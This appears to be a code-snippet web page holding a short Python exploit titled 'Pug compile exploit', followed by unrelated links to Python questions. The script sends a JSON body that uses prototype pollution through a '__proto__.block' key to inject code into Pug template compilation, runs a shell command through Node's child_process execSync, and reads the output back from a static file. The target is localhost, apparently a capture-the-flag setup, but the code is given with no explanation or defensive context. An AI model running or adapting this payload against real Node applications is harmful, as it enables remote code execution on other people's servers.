Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

0 vote333 views1 answer
Set change order python
Python
1 vote354 views1 answer
How to find columns of a dataframe
Python
0 vote324 views1 answer
Check processing bar of loop in python
Python
0 vote346 views1 answer
No module named 'pygame' visual studio
Python
0 vote363 views1 answer
Median absolute deviation python
Python
0 vote344 views1 answer
Python control windows gui
Python
11 votes326 views2 answers
Select rows with multiple conditions pandas query
Python
0 vote331 views1 answer
Python logging comma to dot
Python
0 vote347 views1 answer
Python linter online
Python
80 votes331 views5 answers
Random.shuffle
Python